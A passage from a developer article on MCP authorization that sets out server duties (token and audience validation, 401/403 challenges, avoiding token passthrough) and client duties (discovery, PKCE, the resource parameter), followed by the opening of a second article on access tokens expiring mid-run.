<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/.well-known/oauth-protected-resource"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">_req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">json</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    resource</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://mcp.example.com/mcp"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    authorization_servers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"https://login.example.com"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    scopes_supported</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"documents:read"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Once a request actually arrives, validate the token properly, not just its signature. A token can be correctly signed, unexpired, and issued by a trusted authorization server, and still be the wrong token, one issued for a different MCP server entirely. Check the issuer, the signature or introspection result, expiry and activation time, audience or resource, scopes, subject, tenant or organization context, and any proof-of-possession information your token model uses.</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">use</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/mcp"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> next</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> token </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">readBearerToken</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">token</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">sendAuthorizationChallenge</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> authInfo </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> tokenVerifier</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">verify</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">token</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    issuer</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://login.example.com"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    audience</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://mcp.example.com/mcp"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">locals</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">authInfo </span><span class="token operator">=</span><span class="token plain"> authInfo</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">next</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The audience check specifically is the one control that stops a token issued for a different MCP server from being accepted by yours merely because both trust the same authorization server, and it fails silently when it's missing, which is exactly why it deserves its own line item instead of being folded into "validate the token" generally.</p>
<p>What that check finds is what decides the status code, not just any challenge. A bare 401 forces the client back onto guesswork, and a 401 is also the wrong response once a token has already been accepted. Return 401 when the request has no acceptable credentials at all: the token is missing, malformed, expired, issued by an untrusted issuer, or intended for a different resource. Return 403 once the token is valid but the caller still lacks the authority for this specific operation, ideally with an <code>insufficient_scope</code> challenge naming what would resolve it. The distinction matters because a client behaves differently in response to each one, a 401 means fix or obtain authentication, a 403 with <code>insufficient_scope</code> means ask for more authority, and collapsing both into one status code makes correct client behavior close to impossible.</p>
<p>Even once the token clears all of that, enforce authorization inside the tool, not at the token boundary. A token can prove a user is allowed to read project data without proving they may delete the project, or grant access to one organization but not another, or let a support engineer view a customer account without letting them change its billing. A scope like <code>documents:read</code> is a stable capability gate, not a decision about whether this caller may read every document in every tenant. That decision has to live inside the tool handler or a policy layer close to the actual business operation, because nothing upstream of it has the context to make it.</p>
<p>If any of this leads your server to call something else, never pass the token through. If your server calls an upstream API on the user's behalf, get your own token for that call. Forwarding the token you received is the confused-deputy shortcut, and it's covered in full in <a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#token-passthrough-and-the-confused-deputy-problem" class="">Token passthrough and the confused deputy problem</a>, because it's the mistake that actually motivates this entire piece. The standard way to get that separate token is OAuth 2.0 Token Exchange (<a href="https://datatracker.ietf.org/doc/html/rfc8693" target="_blank" rel="noopener noreferrer" class="">RFC 8693</a>), whose <code>act</code> claim records which party is acting on the user's behalf. It sits outside MCP's own specification entirely: MCP establishes the prohibition on passthrough but doesn't hand you one universal replacement, so check what your authorization server supports before you design this part.</p>
<p>Here's what this class of mistake looks like when it goes wrong in real software, not hypothetically. PrefectHQ's FastMCP, a Python framework built on the official MCP SDK, shipped an OAuth Proxy that ignored the client's <code>resource</code> parameter entirely and issued every token scoped to the proxy's own base URL rather than the specific MCP server that was actually requested, so a token captured by one server could be replayed against others (<a href="https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-5h2m-4q8j-pqpj" target="_blank" rel="noopener noreferrer" class="">GHSA-5h2m-4q8j-pqpj</a>, fixed in 2.14.2). A separate advisory against the same framework described a confused-deputy path where an attacker could ride a victim's existing consent for a static, shared identity-provider client straight into an authorization code meant for the MCP server, then redeem it themselves (<a href="https://github.com/jlowin/fastmcp/security/advisories/GHSA-c2jp-c369-7pvx" target="_blank" rel="noopener noreferrer" class="">GHSA-c2jp-c369-7pvx</a>, fixed in 2.13.0). Neither of these is a reason to avoid the framework specifically. Both are a reason to read your framework's auth code rather than assume popularity implies correctness, since a server-side mistake like this one doesn't announce itself with a failing test, it announces itself as a security review finding months later.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-mcp-client-authorization-means">What MCP client authorization means<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#what-mcp-client-authorization-means" class="hash-link" aria-label="Direct link to What MCP client authorization means" title="Direct link to What MCP client authorization means" translate="no">​</a></h2>
<p>As an MCP client developer, you're the one carrying your user's authority out into a world of servers you don't control, proving who you are, obtaining the right permissions, and using them safely on the user's behalf. That responsibility plays out in a fixed order, since each part depends on the one before it.</p>
<p>First, discover, in two hops, before you can do anything else. The client may start with nothing but a server URL. The usual sequence: call the server, receive a 401, retrieve its protected resource metadata, identify the authorization server or servers it names, retrieve that authorization server's own metadata, select the right one. Along the way it may need to check supported PKCE methods, grant types, registration mechanisms, and scopes (OAuth Authorization Server Metadata, OpenID Connect Discovery, and so on), since the two conventions disagree about where that document lives. A client that only works when a token has been manually configured ahead of time isn't implementing discovery, it's implementing a special case, and a client that skips validating the discovered issuer against the one it actually asked for has opened exactly the hole a hostile metadata document is built to exploit.</p>
<p>Once you know where to go, register, without assuming a prior relationship. Try a pre-registered client ID first, fall through to a Client ID Metadata Document, fall through again to Dynamic Client Registration only if nothing else is available, since that mechanism is deprecated as of the current revision, not gone, but no longer where a new client should start. The full priority order, and the two spec revisions that produced it, Client ID Metadata Documents recommended since 2025-11-25, Dynamic Client Registration deprecated in 2026-07-28 with at least a twelve-month window before it can be removed, is covered in depth in <a class="" href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide">MCP Authorization: The Complete Developer Guide</a>.</p>
<p>With an identity in hand, build one authorization request, and load it with everything that request needs to carry. That's three things at once, not three separate steps: PKCE, the <code>resource</code> parameter, and the minimum scope the task actually needs. PKCE is mandatory, not optional, and the client is the one that has to check <code>code_challenge_methods_supported</code> and refuse to continue if it's absent, since nothing about OAuth 2.1 defines a separate mechanism for that check, desktop apps, browser apps, IDE extensions, and CLI tools are public clients by default, and none of them can keep an embedded secret confidential, which is exactly what PKCE exists to make unnecessary. The <code>resource</code> parameter names the canonical URI of the specific server this token is for, sent regardless of whether the authorization server asks for it, which is what keeps one compromised server from becoming a working credential everywhere else the client goes. And the scope you request should be the minimum the current task needs, not everything the server advertises, with the user told which server is asking, what capability it needs, what data or action it affects, and how long the authority might remain valid, since connection consent is not the same thing as approval for every consequential action the agent might later decide to take. In other words, you can build the authorization URL something like this.</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> authorizationUrl </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"https://login.example.com/authorize"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">authorizationUrl</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">searchParams</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"response_type"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"code"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">authorizationUrl</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">searchParams</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"client_id"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> clientId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">authorizationUrl</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">searchParams</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"redirect_uri"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> redirectUri</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">authorizationUrl</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">searchParams</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"code_challenge"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> codeChallenge</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">authorizationUrl</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">searchParams</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"code_challenge_method"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"S256"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">authorizationUrl</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">searchParams</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"resource"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://mcp.example.com/mcp"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">authorizationUrl</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">searchParams</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"scope"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"documents:read"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>This creates a two-sided control: the client requests narrowly, and the server independently refuses anything targeted elsewhere, so neither side is relying on the other to have gotten this right.</p>
<p>Once the user has authorized and the browser redirects back with a code, exchange it for tokens. Send the code to the authorization server's token endpoint together with the original PKCE verifier and the same <code>resource</code> parameter you sent in the request above, an authorization server that skipped verifying either one wouldn't be doing its half of the job. What comes back is a short-lived access token and, possibly, a refresh token, a client should never assume one will be issued.</p>
<p>Once you're actually holding tokens, keep them alive without either side finding out the hard way. Refresh before expiry, not after, and handle a 403 step-up by requesting the union of the challenge and whatever scope you already held, never a replacement. Isolate tokens and registration state by user and by issuer, and give the client a bounded response to a repeated insufficient-scope challenge rather than letting it loop or nag the user for authority that was already denied.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="server-view-client-view">Server view, client view<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#server-view-client-view" class="hash-link" aria-label="Direct link to Server view, client view" title="Direct link to Server view, client view" translate="no">​</a></h2>
<p>Server and client are living through the same interaction, but neither one sees the other's half of it, which is worth spelling out once end to end.</p>
<p>From the server's side, a single request looks like this: receive a call without acceptable credentials, return a challenge naming where to find the metadata, receive a follow-up call carrying an access token, validate the token and its issuer, verify its resource or audience, authorize the specific tool operation and target, then return the result, a 401, or a 403 challenge.</p>
<p>From the client's side, the same interaction is a much longer arc: call the server, parse the challenge it returns, discover protected resource metadata, discover and validate the authorization server, identify or register itself, start Authorization Code with PKCE, get the user's authorization, validate the authorization response, exchange the code for tokens, call the server again, and only then handle whatever comes next, expiry, an insufficient-scope response, revocation, or reauthorization.</p>
<p>Neither side can compensate for the other's failure. A client cannot make up for a server that never enforces authorization once a token clears validation. A server cannot make up for a client that mishandles tokens, confuses one issuer for another, or requests more authority than the task in front of it needs.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="token-passthrough-and-the-confused-deputy-problem">Token passthrough and the confused deputy problem<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#token-passthrough-and-the-confused-deputy-problem" class="hash-link" aria-label="Direct link to Token passthrough and the confused deputy problem" title="Direct link to Token passthrough and the confused deputy problem" translate="no">​</a></h2>
<p>Every mistake in the sections above is a failure to do one side's job correctly. This one is different. It's what happens when a server quietly does the client's job, or the client quietly does the server's, because somewhere in the code both roles get treated as one problem instead of two.</p>
<p>Token passthrough is the concrete shape of it. A server receives a token from a client, and instead of validating that token for its own use and then obtaining a separate token to call whatever it needs to call upstream, it just forwards the token it was handed. The moment it does that, the server has stopped being a resource server that happens to also make outbound calls, and become something with no clean name in the specification: a caller with more privilege than the request in front of it justifies, acting with authority nobody actually delegated to it for that specific action. That's the textbook confused deputy, and it's the same family of failure as the two <a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#what-mcp-server-authorization-means" class="">FastMCP advisories above</a>: a server ending up with authority nobody delegated to it.</p>
<p>The reverse direction is quieter and shows up less often in a security advisory, more often as an architectural smell: a client that starts trusting a server's own claims about what token it needs, rather than independently discovering, validating, and scoping its own request. A client that lets the server it's talking to decide what audience or scope to ask for, instead of deriving that from the server's own canonical URI the way <a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#what-mcp-client-authorization-means" class="">the client section</a> describes, has handed the server a say in its own privilege level. Neither direction requires malice. In both cases, one side has simply outsourced a security decision that was never the other side's to make.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="server-and-client-responsibilities">Server and client responsibilities<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#server-and-client-responsibilities" class="hash-link" aria-label="Direct link to Server and client responsibilities" title="Direct link to Server and client responsibilities" translate="no">​</a></h2>
<p>Bookmark this table. It's the one page in this pair of pieces worth returning to mid-implementation.</p>
<table><thead><tr><th>Responsibility</th><th>Server</th><th>Client</th></tr></thead><tbody><tr><td>Issues tokens</td><td>Never, unless it separately plays the authorization-server role too</td><td>Never, obtains them from the authorization server</td></tr><tr><td>Publishes protected resource metadata</td><td>Yes, required</td><td>Consumes and validates it</td></tr><tr><td>Initiates discovery</td><td>No</td><td>Yes, both hops</td></tr><tr><td>Selects which advertised authorization server to use</td><td>No</td><td>Yes</td></tr><tr><td>Validates token issuer, audience, and resource</td><td>Yes, every request</td><td>Not applicable</td></tr><tr><td>Runs the authorization code flow with PKCE</td><td>No</td><td>Yes</td></tr><tr><td>Sends the <code>resource</code> parameter</td><td>Not applicable</td><td>Yes, regardless of authorization server support</td></tr><tr><td>Validates the RFC 9207 <code>iss</code> on the callback</td><td>Not applicable</td><td>Yes</td></tr><tr><td>Registers or identifies a client ID</td><td>Not applicable</td><td>Yes, following the CIMD-first priority order</td></tr><tr><td>Enforces tool- and object-level policy</td><td>Yes</td><td>Not applicable</td></tr><tr><td>Issues a 403 insufficient-scope challenge</td><td>Yes</td><td>Interprets it and requests step-up</td></tr><tr><td>May call an upstream API on the user's behalf</td><td>Yes, with its own separately obtained token</td><td>Not applicable</td></tr><tr><td>May obtain that token via RFC 8693 token exchange rather than passthrough</td><td>Yes, this is the legitimate path</td><td>Not applicable</td></tr><tr><td>May forward the token it received to another party</td><td>Never</td><td>Never</td></tr><tr><td>Refreshes and stores tokens</td><td>Not applicable</td><td>Yes</td></tr></tbody></table>
<p>Two rows never change no matter which side you're building, which is worth reading as its own sentence rather than two table cells: nobody passes a token through, and nobody assumes the other side already performed a check that belonged to its own role.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="when-your-team-builds-both-sides">When your team builds both sides<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#when-your-team-builds-both-sides" class="hash-link" aria-label="Direct link to When your team builds both sides" title="Direct link to When your team builds both sides" translate="no">​</a></h2>
<p>Some deployments genuinely own both sides, an internal tool with a server your team wrote and a client your team also wrote, talking only to each other. The temptation there is to skip half of the server and client sections above, since you already know what the other side does. Resist it.</p>
<p>The two roles fail differently under change. Your server will eventually get a client it didn't write, whether that's a teammate's agent, a partner's integration, or simply next year's version of the same client with an upgraded SDK that discovers metadata slightly differently. Your client will eventually talk to a server you didn't write to, the moment anyone wants it to reach anything beyond the one you built first. Code that assumes the other side is the one you already know is code that has to be rewritten the first day that assumption breaks, rather than code that was already correct. Shared libraries are fine for common parsing and security utilities, but a shared configuration object should not be allowed to erase the boundary between what the client trusts and what the server trusts.</p>
<p>Build the server as if an arbitrary conformant client might connect. Build the client as if an arbitrary conformant server might answer. If you do both, you'll find you've built two things that happen to talk to each other well, rather than one thing pretending to be two.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="local-servers-over-stdio">Local servers over stdio<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#local-servers-over-stdio" class="hash-link" aria-label="Direct link to Local servers over stdio" title="Direct link to Local servers over stdio" translate="no">​</a></h2>
<p>Everything above assumes an HTTP-based server, because the OAuth-based flow this piece describes applies to HTTP transports specifically. A server launched over stdio should not run that flow at all, and takes its credentials from the local environment instead.</p>
<p>That doesn't make a local server automatically safe. A local server can still read sensitive files, execute commands, modify the developer's environment, call remote APIs, or hold long-lived credentials, and the local transport changes how the client starts and talks to it, not what the process is allowed to touch. A local MCP server using an environment credential to call a source-control API still needs to constrain which operations and which repositories that credential can reach. Running locally is a transport decision. It is not, by itself, an authorization policy.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="agent-identity-is-a-separate-layer">Agent identity is a separate layer<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#agent-identity-is-a-separate-layer" class="hash-link" aria-label="Direct link to Agent identity is a separate layer" title="Direct link to Agent identity is a separate layer" translate="no">​</a></h2>
<p>A user can authorize an MCP client to access a server, and that alone doesn't describe the complete action that follows. The same user might operate a coding agent, a finance assistant, a support agent, and an internal research agent, each with different instructions, tools, and autonomy. If every operation is recorded only as "performed by the user," an organization loses exactly the context it would need afterward: which agent acted, which host and client initiated it, which configuration the agent was running under, and whether a human approved it before it happened.</p>
<p>An OAuth client identity names the application, not necessarily the specific agent instance acting through it or the authority it's currently operating under. Everything in this piece establishes how a client obtains and presents authority correctly. It doesn't, on its own, solve the identity and governance question for the agent using that authority, and as a deployment grows to include more than one agent behind the same client, that gap stops being theoretical.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-developers-should-implement">What developers should implement<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#what-developers-should-implement" class="hash-link" aria-label="Direct link to What developers should implement" title="Direct link to What developers should implement" translate="no">​</a></h2>
<p>An MCP server should:</p>
<ul>
<li class="">publish correct protected resource metadata;</li>
<li class="">return a useful 401 challenge, and a 403 with <code>insufficient_scope</code> when the token is valid but insufficient;</li>
<li class="">validate issuer, signature, resource, audience, expiry, and scope on every request;</li>
<li class="">reject any token intended for a different resource;</li>
<li class="">enforce authorization inside the tool handler, not at the token boundary;</li>
<li class="">apply tenant, organization, and object-level policy where the operation actually happens;</li>
<li class="">avoid token passthrough, and obtain a separate credential for every downstream resource;</li>
<li class="">record the user, client, agent context, tool, target, policy decision, and result;</li>
<li class="">support revocation and incident response.</li>
</ul>
<p>An MCP client should:</p>
<ul>
<li class="">support both protected-resource and authorization-server discovery;</li>
<li class="">validate every discovered issuer and metadata document before trusting it;</li>
<li class="">use PKCE for every interactive flow, and confirm the authorization server supports it first;</li>
<li class="">keep registration and token state isolated by authorization-server issuer;</li>
<li class="">validate the authorization response, including state and the issuer where present;</li>
<li class="">request the minimum authority a task needs, and explain the request to the user;</li>
<li class="">handle an insufficient-scope challenge by requesting the union of old and new scope, without looping;</li>
<li class="">protect access tokens, refresh tokens, codes, and PKCE verifier material in storage;</li>
<li class="">refresh tokens before expiry where practical, not only after a call fails;</li>
<li class="">support disconnect, cancellation, and revocation cleanly;</li>
<li class="">avoid logging credentials or sensitive tool arguments.</li>
</ul>
<p>The server protects the resource and decides whether an operation may happen. The client manages the authorization journey and carries the authority required to ask.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-to-go-from-here">Where to go from here<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#where-to-go-from-here" class="hash-link" aria-label="Direct link to Where to go from here" title="Direct link to Where to go from here" translate="no">​</a></h2>
<p>If you're building a server, start with the protected-resource boundary: decide what the server actually protects, which scopes act as a stable capability gate, and where object-level policy has to live. If you're building a client, start with the connection lifecycle, and assume every server you'll ever talk to may use a different authorization server, registration method, scope vocabulary, and consent expectation than the first one you tested against.</p>
<p>Then test both sides on their own terms. For a server: can a missing, invalid, expired, wrongly targeted, or insufficiently privileged token still reach a sensitive operation? For a client: can it discover, obtain, isolate, store, refresh, revoke, and step up authority without ever confusing one server or authorization server for another?</p>
<p>Server auth and client auth are two sides of one interaction, but they are not interchangeable, and neither one is complete on its own. I hope this has drawn that line clearly enough to build against. For the full protocol flow, discovery, client registration, resource binding, just-enough and just-in-time access, human oversight, agent identity, and audit, continue with <a class="" href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide">MCP Authorization: The Complete Developer Guide</a>.</p>]]></content:encoded>
            <category>MCP authorization</category>
            <category>Agent ID</category>
            <category>AI Agent Identity &amp; MCP</category>
        </item>
        <item>
            <title><![CDATA[Why Your MCP Token Expires Mid-Run]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run</guid>
            <pubDate>Fri, 16 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Why a long agent run hits a 401 halfway through, and how to give the MCP client a current access token on every request.]]></description>
            <content:encoded><![CDATA[<p>An agent calls an MCP tool. The server returns <code>200 OK</code>. The next call works too. Then the agent pauses because someone needs to approve an action.</p>
<p>Twenty minutes later, the approval arrives. The agent resumes, calls another tool, and gets <code>401 Unauthorized</code>.</p>
<p>The server hasn't changed, and neither has the MCP client. But the access token that worked twenty minutes ago has expired.</p>
<p>In <a class="" href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server">Connecting a LangGraph Agent to an OAuth-Protected MCP Server</a>, the MCP SDK handled token refresh for us. Its <code>OAuthClientProvider</code> stored the tokens, refreshed them when necessary, and retried requests with the new credentials.</p>
<p>That works when the MCP client manages OAuth. In a hosted application, the user often signs in through the application's own login flow. The application keeps their tokens alongside the session and gives the MCP client an access token.</p>
<p>That split leaves a gap. The application can get a fresh token, but the MCP client keeps using the one it was handed.</p>
<p>In this article, we'll close that gap, so every MCP request carries the user's current token, and the agent never touches a credential.</p>
